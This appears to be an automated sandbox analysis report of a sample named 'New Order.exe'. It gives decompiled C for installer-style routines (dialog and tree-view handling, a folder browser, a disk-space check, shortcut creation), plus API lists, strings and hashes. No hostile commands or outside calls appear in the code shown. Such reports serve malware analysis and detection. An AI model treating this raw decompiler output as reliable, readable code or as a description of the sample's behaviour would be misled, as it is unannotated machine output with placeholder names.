										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) & 0xffffffdf;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E00404753(_v8, _a8 != 0x413);
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									if((_t289 & 0x00000010) == 0) {
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
										} else {
											_t300 = _t289 ^ 0x00000080;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t289 = 1;
										_a8 = 0x40f;
										_a12 = 1;
										_a16 =  !( *0x423f58) >> 0x00000008 & 1;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t315, _t315);
							}
							if(_a8 == 0x40b) {
								_t220 =  *0x420514;
								if(_t220 != _t315) {
									ImageList_Destroy(_t220);
								}
								_t221 =  *0x42052c;
								if(_t221 != _t315) {
									GlobalFree(_t221);
								}
								 *0x420514 = _t315;
								 *0x42052c = _t315;
								 *0x423fa0 = _t315;
							}
							if(_a8 != 0x40f) {
								L86:
								if(_a8 == 0x420 && ( *0x423f59 & 0x00000001) != 0) {
									_t316 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t316);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
								}
								goto L89;
							} else {
								E004011EF(_t289, _t315, _t315);
								if(_a12 != _t315) {
									E0040140B(8);
								}
								if(_a16 == _t315) {
									L73:
									E004011EF(_t289, _t315, _t315);
									_v32 =  *0x42052c;
									_t196 =  *0x423f68;
									_v60 = 0xf030;
									_v16 = _t315;
									if( *0x423f6c <= _t315) {
										L84:
										InvalidateRect(_v8, _t315, 1);
										if( *((intOrPtr*)( *0x42371c + 0x10)) != _t315) {
											E0040470E(0x3ff, 0xfffffffb, E00404726(5));
										}
										goto L86;
									}
									_t281 = _t196 + 8;
									do {
										_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
										if(_t202 != _t315) {
											_t291 =  *_t281;
											_v68 = _t202;
											_v72 = 8;
											if((_t291 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t281[4]);
												_t281[0] = _t281[0] & 0x000000fe;
											}
											if((_t291 & 0x00000040) == 0) {
												_t206 = (_t291 & 0x00000001) + 1;
												if((_t291 & 0x00000010) != 0) {
													_t206 = _t206 + 3;
												}
											} else {
												_t206 = 3;
											}
											_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t291 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t315,  &_v72);
										}
										_v16 = _v16 + 1;
										_t281 =  &(_t281[0x106]);
									} while (_v16 <  *0x423f6c);
									goto L84;
								} else {
									_t282 = E004012E2( *0x42052c);
									E00401299(_t282);
									_t217 = 0;
									_t289 = 0;
									if(_t282 <= _t315) {
										L72:
										SendMessageA(_v12, 0x14e, _t289, _t315);
										_a16 = _t282;
										_a8 = 0x420;
										goto L73;
									} else {
										goto L69;
									}
									do {
										L69:
										if( *((intOrPtr*)(_v20 + _t217 * 4)) != _t315) {
											_t289 = _t289 + 1;
										}
										_t217 = _t217 + 1;
									} while (_t217 < _t282);
									goto L72;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L89;
						} else {
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							if(_t283 == 0xffffffff ||  *((intOrPtr*)(_v20 + _t283 * 4)) == _t315) {
								_t283 = 0x20;
							}
							E00401299(_t283);
							SendMessageA(_a4, 0x420, _t315, _t283);
							_a12 = 1;
							_a16 = _t315;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x423fa0 = _a4;
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42052c = GlobalAlloc(0x40,  *0x423f6c << 2);
					_t250 = LoadBitmapA( *0x423f40, 0x6e);
					 *0x420520 =  *0x420520 | 0xffffffff;
					_v24 = _t250;
					 *0x420528 = SetWindowLongA(_v8, 0xfffffffc, E00404DD4);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420514 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420514);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405BBA(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403E54(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403E54(_a4);
					_t318 = 0;
					_t288 = 0;
					if( *0x423f6c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42052c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42052c + _t318 * 4) = _t274;
									_t288 =  *( *0x42052c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_v24 = _t311;
						} while (_t318 <  *0x423f6c);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403E89(_v8);
								_t280 = _v32;
								_t315 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403E89(_v12);
								L89:
								return E00403EBB(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004047f1
0x004047f7
0x004047f9
0x004047ff
0x00404805
0x00404812
0x0040481b
0x0040481e
0x00404821
0x00404a49
0x00404a50
0x00404a64
0x00404a52
0x00404a54
0x00404a57
0x00404a58
0x00404a5f
0x00404a5f
0x00404a70
0x00404a7e
0x00404a81
0x00404a97
0x00404b0f
0x00404b12
0x00404b14
0x00404b1e
0x00404b2c
0x00404b2c
0x00404b2e
0x00404b38
0x00404b3e
0x00404b5f
0x00404b40
0x00404b4d
0x00404b4d
0x00404b3e
0x00404b38
0x00000000
0x00404b12
0x00404a9c
0x00404aa7
0x00404aac
0x00404ab3
0x00404aba
0x00404ac4
0x00404ac4
0x00404ac8
0x00404acd
0x00404ad2
0x00404ae8
0x00404ad4
0x00404ad4
0x00404adc
0x00404ae3
0x00404ade
0x00404ade
0x00404ade
0x00404adc
0x00404aec
0x00404aee
0x00404afc
0x00404afd
0x00404b09
0x00404b0c
0x00404b0c
0x00404acd
0x00000000
0x00404aba
0x00404a9e
0x00404aa5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b62
0x00404b62
0x00404b69
0x00404bdd
0x00404be4
0x00404bf0
0x00404bf0
0x00404bf9
0x00404bfb
0x00404c02
0x00404c05
0x00404c05
0x00404c0b
0x00404c12
0x00404c15
0x00404c15
0x00404c1b
0x00404c21
0x00404c27
0x00404c27
0x00404c34
0x00404d81
0x00404d88
0x00404da5
0x00404dab
0x00404dbd
0x00404dbd
0x00000000
0x00404c3a
0x00404c3c
0x00404c44
0x00404c48
0x00404c48
0x00404c50
0x00404c91
0x00404c93
0x00404ca3
0x00404ca6
0x00404cab
0x00404cb2
0x00404cb5
0x00404d57
0x00404d5d
0x00404d6b
0x00404d7c
0x00404d7c
0x00000000
0x00404d6b
0x00404cbb
0x00404cbe
0x00404cc4
0x00404cc9
0x00404ccb
0x00404ccd
0x00404cd3
0x00404cda
0x00404cdf
0x00404ce6
0x00404ce9
0x00404ce9
0x00404cf0
0x00404cfc
0x00404d00
0x00404d02
0x00404d02
0x00404cf2
0x00404cf4
0x00404cf4
0x00404d22
0x00404d2e
0x00404d3d
0x00404d3d
0x00404d3f
0x00404d42
0x00404d4b
0x00000000
0x00404c52
0x00404c5d
0x00404c60
0x00404c65
0x00404c67
0x00404c6b
0x00404c7b
0x00404c85
0x00404c87
0x00404c8a
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c6d
0x00404c6d
0x00404c73
0x00404c75
0x00404c75
0x00404c76
0x00404c77
0x00000000
0x00404c6d
0x00404c50
0x00404c34
0x00404b71
0x00000000
0x00404b87
0x00404b91
0x00404b96
0x00000000
0x00000000
0x00404ba8
0x00404bad
0x00404bb9
0x00404bb9
0x00404bbb
0x00404bca
0x00404bcc
0x00404bd3
0x00404bd6
0x00000000
0x00404bd6
0x00404b71
0x00404827
0x0040482c
0x00404836
0x00404837
0x00404840
0x0040484b
0x00404856
0x0040485c
0x0040486a
0x0040487f
0x00404884
0x0040488f
0x00404898
0x004048ad
0x004048be
0x004048cb
0x004048cb
0x004048d0
0x004048d6
0x004048d8
0x004048db
0x004048e0
0x004048e5
0x004048e7
0x004048e7
0x00404907
0x00404907
0x00404909
0x0040490a
0x0040490f
0x00404912
0x00404915
0x00404919
0x0040491e
0x00404923
0x00404927
0x0040492c
0x00404931
0x00404933
0x0040493b
0x00404a05
0x00404a18
0x00000000
0x00404941
0x00404944
0x00404947
0x0040494a
0x0040494a
0x00404950
0x00404956
0x00404959
0x0040495f
0x00404960
0x00404965
0x0040496e
0x00404975
0x00404978
0x0040497b
0x0040497e
0x004049ba
0x004049e3
0x004049bc
0x004049c9
0x004049c9
0x00404980
0x00404983
0x00404992
0x0040499c
0x004049a4
0x004049ab
0x004049b3
0x004049b3
0x0040497e
0x004049e9
0x004049ea
0x004049f6
0x004049f6
0x00404a03
0x00404a1e
0x00404a22
0x00404a3f
0x00404a44
0x00404a47
0x00000000
0x00404a24
0x00404a29
0x00404a32
0x00404dbf
0x00404dd1
0x00404dd1
0x00404a22
0x00000000
0x00404a03
0x0040493b

APIs

GetDlgItem.USER32 ref: 004047EA
GetDlgItem.USER32 ref: 004047F7
GlobalAlloc.KERNEL32(00000040,?), ref: 00404843
LoadBitmapA.USER32 ref: 00404856
SetWindowLongA.USER32 ref: 00404870
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404884
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404898
SendMessageA.USER32(?,00001109,00000002), ref: 004048AD
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004048B9
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004048CB
DeleteObject.GDI32(?), ref: 004048D0
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004048FB
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404907
SendMessageA.USER32(?,00001100,00000000,?), ref: 0040499C
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004049C7
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049DB
GetWindowLongA.USER32 ref: 00404A0A
SetWindowLongA.USER32 ref: 00404A18
ShowWindow.USER32(?,00000005), ref: 00404A29
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B2C
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404B91
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BA6
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404BCA
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404BF0
ImageList_Destroy.COMCTL32(?), ref: 00404C05
GlobalFree.KERNEL32 ref: 00404C15
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404C85
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404D2E
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D3D
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D5D
ShowWindow.USER32(?,00000000), ref: 00404DAB
GetDlgItem.USER32 ref: 00404DB6
ShowWindow.USER32(00000000), ref: 00404DBD

Strings

, xrefs: 00404D95
N, xrefs: 00404A67
M, xrefs: 00404983

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction ID: 9a6d62add78faf2b4aa272e1cf177665df16ecedb9a61d3aa4425c18576eb247
Opcode Fuzzy Hash: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction Fuzzy Hash: 8B029DB0E00209AFDB24DF55DD45AAE7BB5EB84315F10817AF610BA2E1C7789A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404292, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404292(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x41fd08;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x425000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E0040543D(0x3fb, _t146);
					E00405DFA(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E0040543D(0x3fb, _t146);
							if(E0040576C(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405B98(0x41f500, _t146);
							_t87 = E00405F28(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405B98(0x41f500, _t146);
								_t89 = E0040571F(0x41f500);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f500,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41f500) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41f500,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t159 = E004056D2(0x41f500) - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41f500) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E00404726(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42371c + 0x10)) != _t158) {
									E0040470E(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41f4f0);
									} else {
										E00404649(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x423fe4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00403E76(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x420524 == _t158) {
									E00404227();
								}
								 *0x420524 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x420538;
							_v60 = E004045E3;
							_v56 = _t146;
							_v68 = E00405BBA(_t146, 0x420538, _t166, 0x41f908, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E0040568B(_t146);
								_t125 =  *((intOrPtr*)( *0x423f50 + 0x11c));
								if( *((intOrPtr*)( *0x423f50 + 0x11c)) != 0 && _t146 == "C:\\Users\\jones\\AppData\\Local\\Temp") {
									E00405BBA(_t146, 0x420538, _t166, 0, _t125);
									if(lstrcmpiA(0x422ee0, 0x420538) != 0) {
										lstrcatA(_t146, 0x422ee0);
									}
								}
								 *0x420524 =  *0x420524 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E004056F8(_t146) != 0 && E0040571F(_t146) == 0) {
						E0040568B(_t146);
					}
					 *0x423718 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403E54(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403E54(_t166);
					E00403E89(_t165);
					_t138 = E00405F28(0xa);
					if(_t138 == 0) {
						L53:
						return E00403EBB(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, 1);
						goto L8;
					}
				}
			}

0x00404292
0x00404298
0x0040429e
0x004042ab
0x004042b9
0x004042bc
0x004042c4
0x004042ca
0x004042ca
0x004042d6
0x004042d9
0x00404347
0x0040434e
0x00404425
0x0040442c
0x0040443b
0x0040443b
0x0040443f
0x00404449
0x00404456
0x00404458
0x00404458
0x00404466
0x0040446d
0x00404474
0x00404477
0x004044ae
0x004044b0
0x004044b6
0x004044bb
0x004044bf
0x004044c1
0x004044c1
0x004044dd
0x00000000
0x004044df
0x004044e2
0x004044f0
0x004044f6
0x004044f7
0x004044fa
0x004044fd
0x00000000
0x004044fd
0x00404479
0x0040447b
0x0040447f
0x00000000
0x00000000
0x00000000
0x00000000
0x00404481
0x00404481
0x0040448e
0x00404493
0x00000000
0x00000000
0x00404497
0x00404499
0x00404499
0x004044a4
0x004044a7
0x004044ac
0x00000000
0x00000000
0x00000000
0x00000000
0x004044ac
0x00404509
0x00404513
0x00404516
0x00404519
0x00404520
0x00404520
0x00404522
0x00404522
0x00404527
0x00404529
0x00404531
0x00404538
0x0040453a
0x00404545
0x00404545
0x0040453a
0x00404555
0x0040455f
0x00404567
0x00404582
0x00404569
0x00404572
0x00404572
0x00404567
0x00404587
0x0040458c
0x00404591
0x0040459a
0x0040459a
0x004045a3
0x004045a5
0x004045a5
0x004045b1
0x004045b9
0x004045c3
0x004045c3
0x004045c8
0x00000000
0x004045c8
0x00404477
0x0040442e
0x00404435
0x00000000
0x00000000
0x00000000
0x00404435
0x00404354
0x0040435d
0x00404377
0x0040437c
0x00404386
0x0040438d
0x00404399
0x0040439c
0x0040439f
0x004043a6
0x004043ae
0x004043b1
0x004043b5
0x004043bc
0x004043c4
0x0040441e
0x004043c6
0x004043c7
0x004043ce
0x004043d8
0x004043e0
0x004043ed
0x00404401
0x00404405
0x00404405
0x00404401
0x0040440a
0x00404417
0x00404417
0x004043c4
0x00000000
0x0040437c
0x0040436a
0x00000000
0x00000000
0x00404370
0x00000000
0x004042db
0x004042e8
0x004042f1
0x004042fe
0x004042fe
0x00404305
0x0040430b
0x00404314
0x00404317
0x0040431a
0x00404322
0x00404325
0x00404328
0x0040432e
0x00404335
0x0040433c
0x004045ce
0x004045e0
0x00404342
0x00404345
0x00000000
0x00404345
0x0040433c

APIs

GetDlgItem.USER32 ref: 004042E1
SetWindowTextA.USER32(00000000,?), ref: 0040430B
SHBrowseForFolderA.SHELL32(?,0041F908,?), ref: 004043BC
CoTaskMemFree.OLE32(00000000), ref: 004043C7
lstrcmpiA.KERNEL32(Call,00420538,00000000,?,?), ref: 004043F9
lstrcatA.KERNEL32(?,Call), ref: 00404405
SetDlgItemTextA.USER32 ref: 00404417

Part of subcall function 0040543D: GetDlgItemTextA.USER32 ref: 00405450

Part of subcall function 00405DFA: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\New Order.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E52
Part of subcall function 00405DFA: CharNextA.USER32(?,?,?,00000000), ref: 00405E5F
Part of subcall function 00405DFA: CharNextA.USER32(?,"C:\Users\user\Desktop\New Order.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E64
Part of subcall function 00405DFA: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E74

GetDiskFreeSpaceA.KERNEL32(0041F500,?,?,0000040F,?,0041F500,0041F500,?,00000001,0041F500,?,?,000003FB,?), ref: 004044D5
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004044F0

Part of subcall function 00404649: lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
Part of subcall function 00404649: wsprintfA.USER32 ref: 004046EF
Part of subcall function 00404649: SetDlgItemTextA.USER32 ref: 00404702

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004043E2
A, xrefs: 004043B5
Call, xrefs: 004043F3, 004043F8, 00404403

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp$Call
API String ID: 2624150263-3265145871
Opcode ID: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction ID: cfccd4b73e861dd9bc9b7885d3f414f2f86db1ffcc16c92a650f1104495a78a5
Opcode Fuzzy Hash: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction Fuzzy Hash: EAA17EB1D00218BBDB11AFA5CD41AAFB6B8EF84315F10813BF605B62D1D77C9A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402053, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402053() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E00402A29(0xfffffff0);
				_t96 = E00402A29(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x34)) = E00402A29(2);
				 *((intOrPtr*)(_t100 - 0xc)) = E00402A29(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x38)) = E00402A29(0x45);
				if(E004056F8(_t96) == 0) {
					E00402A29(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x4073f8, _t75, 1, 0x4073e8, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407408, _t100 - 8);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\jones\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x18);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x18);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 0xc)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 0xc)),  *(_t100 - 0x18) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x34)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x38)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409408, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 8));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409408, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 8));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x0040205c
